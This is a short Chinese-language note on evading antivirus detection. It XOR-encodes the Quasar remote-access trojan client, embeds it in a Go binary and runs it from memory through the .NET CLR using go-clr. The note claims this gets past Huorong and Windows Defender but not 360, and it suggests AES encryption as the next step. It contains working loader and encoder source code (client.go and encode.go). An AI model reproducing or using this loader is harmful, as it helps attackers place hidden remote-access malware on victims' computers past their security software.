使用go-clr内存执行CSharp免杀
介绍
实际测试下面可以过火绒和windows defender,使用的是[[E_工具收集/2022-04-20/go-clr 使用go执行csharp代码]]
直接把[[E_工具收集/2022-04-20/Quasar CSharp写的开源Rat]]的client进行xor,然后加载到embed里面,执行的时候进行解密即可,但是不能过360,猜测是quasar纯粹的xor编码是不行的,[[E_工具收集/2022-04-20/Quasar CSharp写的开源Rat]]最好可以aes加密之类的
然后直接调用clr的运行时进行运行,代码如下
client.go
package main
import (
_ "embed"
"fmt"
"log"
"os"
"runtime"
clr "github.com/ropnop/go-clr"
)
//go:embed bin.exe
var data []byte
func main() {
fmt.Println("[+] Executing EXE from memory")
var result []byte
for _, i := range data {
var x = i ^ 120
result = append(result, x)
}
runtime.KeepAlive(result)
ret2, err := clr.ExecuteByteArray("", result, nil)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
}
encode.go
package main
import (
_ "embed"
"io/ioutil"
)
//go:embed bin.exe
var data []byte
func main() {
var result []byte
for _, i := range data {
var x = i ^ 120
result = append(result, x)
}
ioutil.WriteFile("../bin.exe", result, 0777)
}